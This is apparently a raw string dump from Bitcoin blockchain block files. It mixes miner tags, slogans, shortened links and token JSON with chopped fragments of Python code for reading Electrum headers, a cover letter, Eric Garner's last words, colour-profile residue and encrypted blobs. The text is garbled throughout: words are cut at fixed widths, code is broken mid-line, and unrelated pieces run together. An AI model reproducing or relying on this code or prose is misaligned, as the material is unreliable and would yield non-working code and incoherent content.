cPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPh
...BUT SWEAT MEMORIES REMAIN
File: blk00201.txt
Follow the white rabbit.
Follow the white rabbit.
...BUT SWEAT MEMORIES REMAIN
http://bit.ly/1fvekM9
http://jarokn.deviantart.R
Mined by manzixun130204
Mined by f2poolscant
Time is always against us.
#The truth is that there is no spoon
ash of a block, base
d on code from Elect
rum 1.9x. (Electrum'
s bitcoin.py, blockc
hain.py, GNU GPL 3,
https://github.com/
Needs blockchain_he
aders file found at
http://headers.elect
rum.org/blockchain_h
type(x) is unicode:
x = x.encode('utf-8
s.decode('hex')[::-
ef int_to_hex(i, len
s = "0" * (2 * le
return rev_hex(s)
t_to_hex(res.get('ve
+ rev_hex(res.get(
'prev_block_hash'))
res.get('merkle_root
to_hex(int(res.get('
+ int_to_hex(
int(res.get('bits'))
_to_hex(int(res.get(
hex_to_int = lambda
s: int('0x' + s[::-1
].encode('hex'), 16)
ambda x: x[::-1].enc
h['prev_block_ha
sh'] = hash_encode(s
e_root'] = hash_enco
timestamp'] = hex_to
['bits'] = hex_to_in
once'] = hex_to_int(
(filename, block_hei
f = open(file
f.seek(block_height
h = header_from_
return rev_hex(has
h(header_to_string(h
eader).decode('hex')
f __name__ == '__mai
'blockchain_headers
' # wget http://head
ers.electrum.org/blo
h = read_header(file
Mined by sxzfafaaisinila
34f759e335ba8ee79ecf
9436a5d70cffdb95719b
0734209c3b1704fff5e9
disregard transactio
n 322a611420e5a0aeef
bla 'string' hash so
robably screwed up:
bla 'string' # some
u want empty lines d
isplayed on cryptogr
affiti.info you need
to have "\r\n" line
endings and you nee
d to do your own byt
e to base58chk addre
empty lines, it's a
known bug and will
# Returns the hash o
n code from Electrum
1.9x. (bitcoin.py,
blockchain.py, GNU G
PL 3, https://github
.com/spesmilo/electr
ain_headers file fou
nd at http://headers
.electrum.org/blockc
return hashlib.s
if type(x) is unico
de: x = x.encode('ut
return s.decode('h
ex')[::-1].encode('h
s = hex(i)[2:].r
"0" * (2 * length -
def header_to_string
to_hex(res.get('vers
+ rev_hex(res.get('
prev_block_hash')) \
res.get('merkle_root
_to_hex(int(res.get(
x(int(res.get('bits'
int_to_hex(int(res.g
header_from_string(s
lambda s: int('0x'
+ s[::-1].encode('he
ncode = lambda x: x[
version'] = hex_to_i
rev_block_hash'] = h
] = hash_encode(s[36
amp'] = hex_to_int(s
s'] = hex_to_int(s[7
'] = hex_to_int(s[76
(filename, block_hei
f.seek(block_heig
h = heade
rev_hex(hash(header
_to_string(header).d
ecode('hex')).encode
ame__ == '__main__':
h = read_header(f
Mined by jankonvicka
'NOTHING BIG CAME OUT OF SOMETHING SMALL
'NOTHING BIG CAME OUT OF SOMETHING SMALL
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
/#The truth is that there is no spoon
What is the Banking? Control.
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by wangxingsmile
u=https://cpr.sm/97-MH_e4hu
Mined by realsun8888
Mined by f2poolscant
Mined by bianshaozheng1
#The truth is that there is no spoon
Mined by native801015
Mined by klminer2014
...BUT SWEAT MEMORIES REMAIN
! tact details deepwebfinance@lelaR
Mined by hqg4328021975
Mined by zhanlongclam
1 /mining.bitcoinaffiliatnetwork.com/ Finder: s0br
Mined by shenghaisheng
U2FsdGVkX1/W20OASSqI
zEX0n+RDEBvtzsWCTx4E
sz8RxPW65rsIwZBUKRN0
nxebcKEXLok0tAHCbUYy
nlzaHndDF4McynqDDZ7p
nQ3KYl4UiYURINWlAjuM
4Loyzh1zFUeZvKMUHlxy
)Crypto-Rewards Program htR
$/mining.bitcoinaffiliatenetwork.com/
U2FsdGVkX199u2lyJtIw
g2oQkVPzRQPMvoGyI1kT
hnY/Wl263au2dJjh5io6
w7JPe4C44H1N9Y+RGyxr
c9g8HjEnqdomXTccYjvC
JF5CCAJbzfrrFvkIVos3
PStFlnkBaqfSe7zAWZhx
Z/uS5+tzZr/YUr9Ucoj0
aZ3Nu8QiYsZEumvc7HrR
9cBhoGvXV+Jw9dzItEbo
TI0fhcVtKA86E6Ye4xKd
MsB7umegbovs3KHn3btN
uY6wy5CORDrl4gQxkl/G
sckwXfweHCr/np/b/TzN
t6uxb51FfPqdTU6lkQ+q
KDOv2RFXFK4ON65qemhU
66S/QS8wEqzK61Tmqmwp
Ov4JoRPc+mKeBk69aIrx
VJ8qXfb+BGpcfROHIiNQ
pr2Lzs9EDiuenLtFOY7z
XLTffehlfmvxpluVe/Wl
RLA7Qu26CvfFhW782YpI
buZ4bQ0FeDw+6SIr9WmS
byNb3CPgMU0q8Bki+dxb
avOkt/ubPpDt3Zjh+jqL
na0OkYwdTHsyglreqq5u
Y/2JT0aS0nAZlvMHjtCv
mm5rZvgxRtTAwjK/p8DA
LbjQZ/SrJTQ+X0UR/TIc
bVkhJrmCo+g3d+n8jS50
LKj3E+WE9HADenDcBsd9
8YtLofz1P3gOIM7vbUwN
YJ8+QZswMvwYj8dAaNq4
0o87ta5ytRBHRESq4VU0
jK7xRrzou41fg68d5lYm
r9O2J8GSpaV9YWfqweKR
Ix66W0GQxpAh3akKiFa7
LT7jH/dq8uYX1SOLnN/T
nFdBokyEaUpqG+LQHpQk
MuSU8hr6yCys9bSIuetQ
oLZ8CDGRNtkgfqpb7xR8
xvJ7Ps+3aEtb/MDYCCuM
XryFdOL6ZGYPUNK5Gjq0
fBU7XVlL8sj3CGi2r2IN
YB3eYADBLVUikRYIlVgw
SCw89sLWAZUE6RHZQ+RO
JdVfa6fPFX1/KHESqoFF
ZZRB/KEofqlzyGhpIyfu
ct+zlZAP47N/uCCKsRiY
f5USDxI9Pvnn5UlmEdTb
ROofB8H3VhWqw1vwdm0x
LveUcug8cd9NT/URB0ES
SHCgFVIgIFCEYDe8Dt42
rPcRfIGBTHprqKop/5Gb
xsaEI1tT4kENBOtzmezM
qcztKU9Gfn42xzKoFeR1
3ord/m90p+Ln3XS9e2i2
bp5Q8b/6viT0HRMUeWqz
sTFTfXkslFnqs3iQGqr1
fS1PRAMGR+z0jEFShFhx
GkvQh3Xfr9ps4M+1Vqf6
5YTo56HkthOP9wlDcGfp
EQJoTyV3Z3T4wWlaJJvC
z0It4iIr2Eh4mfvOe36r
cnysuha0ZJ2VpY4JDW4j
iLy32FzwEOVPzpnrMKmB
5gUY6rJaFQCiOdGUZFDl
F+sp45TDSQAOEup3psSx
4fDTesJvZXvHxAwPvJdF
CNeAFeUX8sR0DlS0FqhY
G9RBGvYSg8HlpPM4Fer4
eJRI1btwt3vChJ32laX9
k4+pIztrdZNxfd8wsV8E
wcqcfUjVIkQ+2TYK0uOR
VVwMMdl8Aq/OpFK0zzXf
3kluPQf+GKyOna5rOq2q
ZXN1pt1p5u90m/Qzg+HF
qjb40GjyfYKGUC7jeB0G
W71vjAyJ6xfNF4jURfUS
Z83KdLotTQJ7EwswpRxQ
U7J/TZH3nCUlTy/0lw09
CC6kjeID56N2J+eAOqAk
5h+xnv24a8rnAb216Sv9
XszlUD9/FyDzhR2UOKwV
ZihnRGA86vsi/EAbnJ3C
k4FsGK7ylvb3AwVbVNV2
Jee/CthqDUGT5YC2sRnl
M3NN+cysWr8h407ms70I
sCZkS2j1hOTvb+FyFu6D
Gw7OfdbVhiJB0kdVWuCs
afWJsrF5vsFvtaSvujzx
IN1RSPpkrZtLTePxfdK4
ZrX4vqliHjqUklzo68iF
5rKriRhFuec0uMkIyUvJ
gLtD9tQR7UpsCuJ19Die
tfP5MjXTX6f3NRXB8ASw
tcLVIlPRX5Dh7hN3lOKz
2CgZZjoTv5HeLn5qdmVj
m9FZfWSODXUrTTYcAqzP
msDePwzorKOkXqpqUDXC
yVsW/Qf21DqpS+cRfaCO
EMP+M322ahrm75INMfHk
ZMrvfsz9QLoQKqEwN+zt
ak0jWlSqIiWDd/V/vJRZ
QH8Zf5MPtLbgHfFB31uR
Welcome to the real world.
Welcome to the real world.
e37ed534f31f0a922ff7
563c9dd7ea62262827eb
88acd64a220d9c43184d
045f62843935f872beb1
1b4833157ef1f1841227
7bf693c24af604bb2437
Mined by yuling12345
Mined by f2poolscant
Mined by changfeifei
Mined by f2poolscant
Welcome to the real world.
)j'0 {"total": 10000000, "desc": "", "name
Don't hurt me no mor
I don't know why you
you my love but you
is right and what is
1 ins", "total": 10000000}
)j'0 {"desc": "", "name": "Pretty Shots Co
Operation "rakushka" :)
u=https://cpr.sm/DItHoMY8Wu
Mined by wangxingsmile
Operation "rakushka" :)
Time is always against us.
Follow the white rabbit.
Y12STUDIO@Taiwan@Bitcoin
#The truth is that there is no spoon
1$Mined by bb228456866
HTTP^_^Bitcoin(=^_^=)y12
%Gold backing that increasR
Welcome to the real world.
Mined by nanjinghaowei
Welcome to the real world.
#The truth is that there is no spoon
4Mined by f2poolscant
Follow the white rabbit.
Welcome to the real world.
Mined by caidongxing
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
http://cyber.fund/pie
http://cyber.fund/wallet
http://cybertalks.org
http://paper.cyber.fund
http://digest.cyber.fund
'NOTHING BIG CAME OUT OF SOMETHING SMALL
y12^_^Taichung@Taiwan
Welcome to the real world.
$/mining.bitcoinaffiliatenetwork.com/
(Inspiration from the XiaoR
&QQ Coin ,QQ is very PopulR
Inspiration comes from YYR
)youku is very popular vidR
Operation "rakushka" :)
Dear hive team, ever
since I have discov
ered Bitcoin I have
been a fan of your p
roducts. Aside from
the beautiful design
I like your retreat
from QR-Codes towar
ds leveraging blueto
oth as a much better
medium of address e
xchange. Your way of
making Bitcoin wall
ets handy and easy t
o use will ultimatel
y help Bitcoin to re
ach mainstream aware
ness, which in my op
inion is an importan
t issue to tackle in
times of proprietar
y payment providers
like Apple Pay or Sq
uare. Furthermore, t
he fact that your co
mpany is not only pu
blishing your own co
de but also actively
contributing to oth
er open source proje
cts is a detail I hi
ghly appreciate. Thi
s is why you are one
of the few companie
s I could image work
ing for. Currently I
am working on my ba
chelor thesis on Con
text-Aware Computing
and Sentiment Analy
sis which I am going
to complete by Marc
h 2015. Afterwards I
would like to take
up new Challenges();
#include <bitcoin.h
> and focus on devel
oping thick client a
pplications for mobi
le devices just like
your web wallet. In
my three years of s
tudying Computer Sci
ence and Media at th
e University of Ulm
I have been focusing
my attention fully
on learning how to d
evelop web applicati
ons in JavaScript. T
he work with Node.js
and Angular.js drov
e my creativity and
enabled me to develo
p highly efficiently
which led to a numb
er of serious team p
rojects. With my exp
erience in modern we
b development I woul
d surely be a valuab
le associate to your
team. If I have mad
e you curious and yo
u are interested in
taking this further
I would be happy to
send you more detail
ed information about
me or even arrange
a date for an interv
iew. I am looking fo
rward to hearing fro
m you. Sincerely, Ti
u=https://cpr.sm/a2jLkNnomx
u=https://cpr.sm/Hm0qkGLfAz(
Mined by yuling12345
Mined by f2poolscant
Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
$/mining.bitcoinaffiliatenetwork.com/
File: blk00202.txt
Mined by gao272276188
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by yuling12345
Mined by AntPool 013
Time is always against us.
Operation "rakushka" :)
(Counterparty News - countR
]'NOTHING BIG CAME OUT OF SOMETHING SMALL
Welcome to the real world.
Mined by zhanlongclam
y12.tw@Taiwan:-)Taichung
Mined by g13336050000
github.com/y12studio(*_*)
h#The truth is that there is no spoon
Follow the white rabbit.
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/L-0hbad4SG
Mined by wangxingsmile
$/mining.bitcoinaffiliatenetwork.com/
Follow the white rabbit.
Mined by f2poolscant
Mined by aa254907107
T'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by wangxingsmile
Follow the white rabbit.
Welcome to the real world.
DW BITCOIN DIFFICULTY
F&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by f2poolscant
#j!http://preview.tinyurl.com/ap9991
$foldingcoin.net/index.phpR
ToTheMoonOrTaichung@Taiwan
(Inspiration from the XiaoR
%j#http://preview.tinyurl.com/apdotpdf
Mined by qq2864635475
*j(http://preview.tinyurl.com/krypto-ap-pdf
&QQ Coin ,QQ is very PopulR
I <3 p'tite peluche!
Mined by zhaodong1982
Follow the white rabbit.
)Crypto Currency owned by R
u=https://cpr.sm/QpiYh_6XHI
u=https://cpr.sm/iKHIWKEeM18]
Time is always against us.
u=https://cpr.sm/Hx6rTG9EMn8]
Mined by AntPool bj5
$/mining.bitcoinaffiliatenetwork.com/
Hello World, there i
s so much opportunit
y now that we have t
rue freedom of speec
$/mining.bitcoinaffiliatenetwork.com/
Mined by sjq2544946900
$j"0065-01456-22So.ExpeditiousLn03028p
$j"0065-01456-22So.ExpeditiousLn03028
Operation "rakushka" :)
-------------------
Force of Will
------------------
|
| //
| ///
| ) ///
| ) \ /
| ) / \ |
| ) \ ( ( /
| / ) ( ) / (
| \(_)/(_)/ /UUUU
.------------------
Interrupt
,------------------
| You may pay 1 lif
| blue card in your
| game instead of p
| Will's casting co
| that prevent or r
| cannot be used to
| loss of life.
| Counter target sp
`------------------
Illus. Terese Nels
--------------------
I am. Therefore, I h
Mined by AntPool bj*
;&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by yuling12345
Mined by AntPool bj2
Mined by startover0001
Mined by zhgese131418
https://twitter.com/POWCOR
u=https://cpr.sm/0RRC3QC5-A/
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A_
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Jeff <3's Yvonne ;-)
Y12Studio^_^Taichu@Taiwan
Mined by qq2917098245
Y12Studio^_^LOL@TaiwanOrz
Taichu.proto.v1@y12.tw(**)LOL
$/mining.bitcoinaffiliatenetwork.com/
FMined by f2poolscant
Mined by AntPool bj5
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
File: blk00203.txt
Mined by zhanlongclam
u=https://cpr.sm/RRFBOppjXW
u=https://cpr.sm/RRFBOppjXW
Mined by AntPool sz1(
Mined by AntPool sy13
Mined by mayixiongdi
u=https://cpr.sm/cbPhSLgKXA
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
PAACN+MUMzRDNFMjAzOT
PAACN+MUMzRDNFMjAzOT
JBM0U2Mw==
PAACN+ZDNjMDUzYjU4Nm
M4MDg2MA==
PAACN+MTM0MzdFNkQxOE
I5NDQ1Nw==
PAACN+RUQ4NDZDNkZDNz
hCOUUxMw==
Mined by zhaodong1982
Top monthly FLDC folders
Mined by AntPool sz1(
Mined by AntPool bj*
NQMined by f2poolscant
What is the Banking? Control.
u=https://cpr.sm/vN3BZDcEFP
u=https://cpr.sm/0RRC3QC5-Aw
u=https://cpr.sm/wt3OYZSgtch
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/M-so_snjmi
1 , "total": 10000000}
)j'0 {"desc": "", "name": "BoxyChat Coins"
Mined by AntPool bj3
89956653ac468c8dbf3b
106be40b49fa53de77df
d47c4bfc8a4dbfe5a1ed
Token for The Joy of BitcR
Mined by AntPool sy4C+
Mined by f2poolscant
u=https://cpr.sm/M-so_snjmi81
Follow the white rabbit.
Mined by jankermar1982
#The truth is that there is no spoon
u=https://cpr.sm/XqW3rfwogm
Time is always against us.
lMined by f2poolscant
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
istscare.org/donate(^_^)y12.tw:)
Mined by AntPool sy1*
Mined by caojingliang1
u=https://cpr.sm/XqW3rfwogmp
$/mining.bitcoinaffiliatenetwork.com/
Mined by daizhizhong
Mined by projectbtcncux
Mined by AntPool bj*
Welcome to the real world.
...BUT SWEAT MEMORIES REMAIN
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
0'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2+VP0T
What is the Banking? Control.
tweetbit.org - this
Mined by AntPool bj4-
Mined by AntPool bj*
u=https://cpr.sm/ChUvH5nVET
u=https://cpr.sm/wqoYX3hJOd
u=https://cpr.sm/EpJ4-d7_gX
u=https://cpr.sm/jfYPgbnuv-
Mined by AntPool bj3
http://ncpan.org Loyalty R
Mined by AntPool bj*
Mined by AntPool bj2+VP0T
Time is always against us.
Mined by AntPool sy3
u=https://cpr.sm/snw90z7POaH
1 "total": 10000000}
)j'0 {"desc": "", "name": "Banyan Coins",
u=https://cpr.sm/5qXp_n1ySQH
u=https://cpr.sm/zNb8oyhDha
u=https://cpr.sm/jfYPgbnuv-
u=https://cpr.sm/jfYPgbnuv-H
'-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
a1ef3768d39110249d60
04d6a626ab6f50db5e06
91a9ac5db9084efc9ff2
u=https://cpr.sm/CAn3ho485C
)Crypto Currency owned by R
u=https://cpr.sm/ewEJTuzSpF
Mined by f2poolscant
#'NOTHING BIG CAME OUT OF SOMETHING SMALL
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj4-
Mined by zhengshugang88
Mined by cw13511264711
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sy.=ufT
Mined by AntPool bj*
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-APN
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A
Follow the white rabbit.
Mined by gf406224454
u=https://cpr.sm/P1vOdGeEGk(6
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A
u=https://cpr.sm/0RRC3QC5-A-i
Mined by AntPool bj5
u=https://cpr.sm/Moy3JsHLYv
)Crypto-Rewards Program htR
u=https://cpr.sm/6CdoeXjT5y
Mined by zhanlongclam
Testing out the moni
1 ns", "total": 10000000}
)j'0 {"desc": "", "name": "Signup Sumo Coi
Introducing btcxfr.c
ervation of art in t
u=https://cpr.sm/rCHrkargkO
u=https://cpr.sm/rCHrkargkO
Mined by AntPool bj3
Mined by wanyouyinli1
File: blk00204.txt
Mined by zhanlongclam
Mined by AntPool sy1(
Mined by dashengbaoer
#The truth is that there is no spoon
Mined by liangyong2014
Mined by AntPool sy.=ufT
Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
#Distributed Artificial InR
Mined by lcw88888888
Mined by haosen3310363
Mined by wangxingsmile
Mined by AntPool sy1
http://www.bitTRA.DE
# blockchainentropy.
headers from the bi
tcoin blockchain bas
ed on a hexadecimal
input string. This i
nput string could be
assphrase. This appr
oach can be used as
an extremely HIGH en
tropy source for a p
ffectively impossibl
# Examples of n (=nu
mber of blocks selec
mber 2014 there are
roughly 300,000 bloc
ks in the bitcoin bl
: There are 300,000^
15 = 2^273 = 10^82 w
ays of selecting 15
blocks out of 300,00
are 300,000^30 = 2^5
45 = 10^164 ways of
selecting 30 blocks
A sha256 sum yields
a 64-character hexa
decimal string with
can be divided into
# A sha512 sum yie
lds a 128-character
hexadecimal string w
ith can be divided i
nto 30 base-10 integ
k header is a sha256
checksum with 64 ch
aracters which equat
es to 256 bit of ent
15 block checksums y
ields 15 * 256 bit =
3840 bit of entropy
, string of length 9
block checksums yiel
ds 30 * 256 bit = 76
80 bit of entropy, s
tring of length 1920
mart about the secre
t passphrase you use
as input (sufficien
t length, entropy, n
o dictionary words e
out the hashfunction
(use a purposely sl
ow one, e.g. scrypt)
ools.py (see bitcoin
transaction 593757c
37303a8487c60ed2c522
b315594b365a66b2012c
onations welcome: 12
dXLgSRrorgWaqFN1WWL8
electrumtools import
hash_header, read_h
hes(hex_str, filenam
e='blockchain_header
if not os.path.e
print 'blockcha
in_headers file not
found. Download with
get http://headers.e
lectrum.org/blockcha
print 'original he
xadecimal number (1:
20 of total length '
+ str(len(hex_str))
nvert hex number to
integer then convert
tr = str(int(hex_str
riginal hexadecimal
number converted to
integer (1:20 of tot
al length ' + str(le
print int_str[1:20
5 # array indices
to get integers of l
ength 5 (=range 1-99
,999) out of int_str
ng parameter to get
integers into range
1-300,000, loops fro
# counts number of h
# scale valu
e into range 1-300,0
2 * 100,000) - 12345
ur_int = (k * 100000
block_header = hash
_header(read_header(
list_of_hash
es.append(block_head
print 'blocks and
print str(l)
+ ': ' + str(cur_in
t) + ' - ' + block_h
are indices for next
integer (shift by 5
# avoid having a sma
ller than length 5 i
if j >= len(in
pt scaling param (ro
n ''.join(list_of_ha
print 'ERROR
ock_hashes = find_ha
shes(sys.argv[1], ve
print 'all hashes c
ombined (length: ' +
str(len(block_hashe
#The truth is that there is no spoon
Mined by huangyuhang
u=https://cpr.sm/LOi7sgShyTq
Mined by liugonggong
Mined by zhaodong1982
$/mining.bitcoinaffiliatenetwork.com/
*-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool bj*
u=https://cpr.sm/932ipL5xTJ8]
Mined by AntPool sy.=ufT
Mined by wuwei871125
Mined by f2poolscant
Mined by AntPool sy1
)I wish to talk toyou: infR
r! t.io/feed/1FaCW13nfVhzGiJBRjyxH6R
%INDIAN HUNDI TRUSTLESS EXR
&Angadia means courier in R
HAWALA TRUSTLESS EXCHANGER
HAWALADAR AGENT TRANSFER R
ITEMIZED LEDGER TOKEN
t Unlimited detailed
payments with just
What is the Banking? Control.
O#The truth is that there is no spoon
SayHello(^_^)http://590c.org
Welcome to the real world.
Mined by liugonggong
Mined by AntPool bj2
Mined by zhanlongclam
Mined by zhengshugang88
Mined by AntPool sy.=ufT
Mined by zhanlongclam
Mined by lixiaokt1worker
Mined by AntPool sy1
$/mining.bitcoinaffiliatenetwork.com/
Mined by songweikang
'Remake of BTCFO due to caR
)Dividend shares in the BTR
'Remake of BTCFO due to caR
590c.org(^_^)Taichung@TW
u=https://cpr.sm/rmcVXv9c5b8]
Mined by AntPool bj3
Beyond(^_^)Gender@ISTScare.org
What is the Banking? Control.
ISTScare.org@Taiwan:-)590c.org
Follow the white rabbit.
Mined by f2poolscant
What is the Banking? Control.
Not sending to anybody
TOKEN BACKED BY CRYPTO ASR
Mined by AntPool sy.=ufT
! CKSCAN VERIFY-ADDRESS tlyvte8p5sR
Welcome to the real world.
Mined by zhouzhenmei
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Follow the white rabbit.
Mutual investments fund sR
Mined by AntPool sy.=ufT
Operation "rakushka" :)
Mined by nanjinghaowei
Time is always against us.
tweetbit.org - this
is a test00000000011
Welcome to the real world.
Mined by liugonggong
Mined by aa254907107
u=http://tig.disney.com/yokai-1
Mined by zhengshugang88
Mined by klminer2014
$/mining.bitcoinaffiliatenetwork.com/
# blockchainentropy.
EC http://www.iec.ch
?773|<p>Eric Garner
was killed July 17,
2014 by the NYPD. Th
is is a transcript o
f his Final words.</
arbled] for what? Ev
ery time you see me,
you want to mess wi
th me. I'm tired of
it. It stops today.
Why would you...? Ev
eryone standing here
will tell you I did
n't do nothing. I di
d not sell nothing.
Because everytime yo
u see me, you want t
o harass me. You wan
t to stop me [garble
d] Selling cigarette
s. I'm minding my bu
siness, officer, I'm
minding my business
. Please just leave
me alone. I told you
the last time, plea
se just leave me alo
ne. please please, d
on't touch me. Do no
t touch me. [garbled
] I can't breathe. I
can't breathe. I ca
n't breathe. I can't
breathe. I can't br
eathe. I can't breat
he. I can't breathe.
I can't breathe. I
can't breathe.</p>RI
P Eric Garner.jpg>31
Hewlett-Packard Com
Mined by f2poolscant
C 61966-2.1 Default
RGB colour space - s
1966-2.1 Default RGB
colour space - sRGB
Test 2 line tweet fo
r tweetbit.org000006
nce Viewing Conditio
iewing Condition in
%,1?5,.;/%&6J7;ACFGF
CCCCCCCCCCCCCCCCCCCC
590c.org(o_o)Taichung@Taiwan
tweetbit.org encrypt
ed & plaintext mgs!1
>744<<p>These are th
e last words of Eric
Garner. Killed on
July 17, 2014 by the
t away [garbled] ...
for what? Every tim
e you see me, you wa
nt to mess with me.
I'm tired of it. It
stops today. Why wou
ld you...? Everyone
standing here will t
ell you I didn't do
nothing. I did not s
ell nothing. Because
every time you see
me, you want to hara
ss me. You want to s
top me (garbled) Sel
ling cigarettes. I'm
minding my business
, officer, I'm mindi
ng my business. Plea
se just leave me alo
ne. I told you the l
ast time, please jus
t leave me alone. pl
ease please, don't t
ouch me. Do not touc
h me....I can't brea
the. I can't breathe
. I can't breathe. I
can't breathe. I ca
n't breathe. I can't
breathe. I can't br
eathe. I can't breat
ht (c) 1998 Hewlett-
.1 Default RGB colou
Default RGB colour s
ng Condition in IEC6
Reference Viewing Co
ndition in IEC61966-
((:N:?DGJKJ-7QWQHVBI
0GGGGGGGGGGGGGGGGGGG
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w, when?000000000012
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2aa49f0255f675f812f9
15b559ea48550c14a69b
8ff6e8dfa157b361ebd7
146250db3457c975781e
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4c3713c36a6dead5734d
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db7ff487b56f4591d0a4
677a5f72c7ee2733db3c
49671107384d486dd461
49c77fbcd31b4717ce12
b52c14cd449fc1077bd7
99c1607884d337a603a2
81affbf58a12eb0dcafe
79fc7ee4f156482ebbfe
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fe99959fe8b9843d1c27
de55f06ff056c3e57535
7a712b07654abb0fc016
010bd4ba175b2e05c5aa
2634bf9dec3c5ca57400
dca849ebdec651bf771f
addd245b3babaa022797
107a7a66a8b898c33473
8d8a5ed8e1d5436448a3
b52e1cb20f47787f06da
72857558d874b755335a
8a34a2672d874f67a97f
6f2c5a2ffcdcddbf0069
6bdfefb571225b0ad6de
5a41cecffe9b15cc7edc
49f1516aa6e17d8d11c6
440b206a24f689499926
0483fff612eff0c0d785
8ed63b8576a6f1ca38c8
b48bb95f350de0180303
bc9f5131294a834843d7
d04cce0ac09130c49612
367490f93f2de3701b18
48cafc5660059dfcdf9b
a1f2abd393ff9f6dfdd7
1dab3cc5c389f996db12
8c04a1a169955eb198c7
ae24890444e59dc2c5a7
6f693f0c3c149686a9bc
c8f5fbf833305d3bbbdb
f8f51ac052695f8b0c6c
f009186462eff2bfce81
2601dd3a43999335b189
a1db78030b41b7c7ac87
7db7024f21b6bc5c74b7
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c1d1324619e5f07cb273
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1ec8e18fe01d774e1515
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67b2237fd333d7377c2f
a906dc5499e603428444
6944a534500998d5c1f0
8cdb82921f79b3e5003d
0a55a995007e83ed9369
1ae0c90f7f5138e4389d
70047f6f3a959911d54e
b060492e6b86ec9bdd06
a5240b57b8b2adeda809
89e36c5d431c890f4a8b
f6f6b0f3d5d36967472c
8689ca6d1b6140cb74dd
1d41ae2041071bfe22c5
9b59972babe0b9483454
7e8522878d76f810e873
35ce732f8687c8ae3630
5394794d07ce107940a9
2948321d8fd19d4e66f7
e2aa9c8da509352fbf49
94a78dd322776ef0e375
4f8dccfb59a76f235806
704878fc3f86ac8a4b3a
8c5c9c7bee58839e2256
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1f6c56e790b3751dcb0d
5270891a700ebef86010
70b334ac464b2c8dcc3b
bcf4d0f753bdcf482f43
a0d72c3de212c78fe008
ede122969515c1720a80
3b2f6f7a5e8feb7950cf
d19ac0a720165577914b
7088efe1f1fee75bf5f4
e575e6f8ccc6ca2e9e64
48c84e898272c00b2a23
4b88089e93af594c37fa
bf94501fff2093f4bc14
87f22badc108e3e45668
c0ff10a33ab669252a5e
41d7b93259aa07588891
ae58c9d3ee2562999b91
64ff2f3f83950befabf0
9d4ee35593728f03557a
ba4b0b5683061a4a1744
13981ae0a40f59b88865
302888a46f1c594f8a15
e5ddac868c3b44f3872f
26bdfd5cee926f4e5798
a31611f6d60eb72e40a2
fde2d076729a5621794c
75cc72cb790c6e9ca44f
369190e908dac1194d05
8729232db282b908c4f7
2fb177cd7ca722dfe001
43c4c0683690b0ae3fae
39c93c2263777fcd78a1
ffc019feeba1045baa3b
cb1ae984c3c2a689507e
0be98118fb999983c686
2ab8349c693bfaab2562
72902476cb17f9cabafe
fcdd367fd666986d1858
952345b613d4b0bc9052
25716dcf9bf78a9c0fe9
67ebed29d1b2e8bd2df3
b20f|132*952345b613d
4b0bc905225716dcf9bf
78a9c0fe967ebed29d1b
aa234146135239766780
bf78354304ac6fe8c26e
u=https://cpr.sm/6thSwDs3VDO^
#The truth is that there is no spoon
*^_^* Happy Birthday!
Mined by AntPool sz1%
Mined by AntPool bj57
Mined by wangxingsmile
Mined by AntPool bj3
Mined by AntPool bj41|:
JMined by davidoff0010
u=https://cpr.sm/8XsgoAE-_c
Mined by wangxingsmile
u=https://cpr.sm/8XsgoAE-_cn
Mined by zhanlongclam
Mined by AntPool sy.=ufT
Mined by dashengbaoer
1ot us, who? If not
0tweetbit.org - If n
2now, when?000000009
Mined by AntPool bj41|:
Mined by hebaosen2008
u=https://cpr.sm/8XsgoAE-_c
Nobody knows who I a
m or what I do. Not
u=https://cpr.sm/8XsgoAE-_c
Death is the only wi
se advisor that we h
eel, as you always d
is going wrong and y
ou're about to be an
your death and ask i
f that is so. Your d
that you're wrong; t
matters outside its
touch. Your death wi
en't touched you yet
, Journey to Ixtlan
